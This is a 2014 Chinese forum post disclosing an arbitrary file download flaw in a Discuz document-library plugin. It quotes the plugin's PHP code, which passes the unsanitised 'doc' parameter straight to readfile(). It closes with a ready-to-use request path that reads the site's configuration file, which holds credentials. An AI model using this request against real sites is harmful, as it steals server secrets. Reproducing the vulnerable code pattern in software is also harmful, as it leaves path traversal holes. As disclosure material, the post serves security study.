Discuz教程网

Discuz某文库插件任意本地下载

[复制链接]
authicon dly 发表于 2014-3-7 13:44:25 | 显示全部楼层 |阅读模式
然后看代码:
  1. $doc=$_GET['doc'];
  2. $doc="../../../".$doc;
  3. $filename=$_GET['filename'];   
  4. $ext=$_GET['ext'];
  5. //设置文件类型
  6. if($ext=='doc')  {$_ext="application/msword";}
  7. if($ext=='xls')  {$_ext="application/vnd.ms-excel";}
  8. if($ext=='ppt')  {$_ext="application/vnd.ms-powerpoint";}
  9. if($ext=='docx') {$_ext="application/vnd.openxmlformats-officedocument.wordprocessingml.template";}
  10. if($ext=='xlsx') {$_ext="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";}
  11. if($ext=='pptx') {$_ext="application/vnd.openxmlformats-officedocument.presentationml.presentation";}
  12. if($ext=='pdf')  {$_ext="application/pdf";}
  13. if($ext=='txt')  {$_ext="application/plain";}
  14. //设置文件头
  15. header('Content-Disposition: attachment; filename='.$filename);
  16. header('Content-Type:'.$_ext);
  17. header('Content-Length:'.filesize($doc));
  18. //读取文件
  19. readfile($doc);
  20. ?>
复制代码
插件的下载地址:

  1. http://www.discuz.net/forum.php?mod=viewthread&tid=3169556
复制代码

$doc居然没经过任何处理就readfile了。。。

/source/plugin/doconline/doconline.php?doc=/config/config_global_default.php




上一篇:discuz论坛安全防护之PHP类型站点服务器安全维护
下一篇:Discuz!多个版本后台拿shell,需有安装APP权限
authicon 一路向西 发表于 2015-7-6 18:08:32 | 显示全部楼层
?????????????????????????????????
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1314学习网 ( 浙ICP备10214163号 )

GMT+8, 2025-5-2 05:45

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表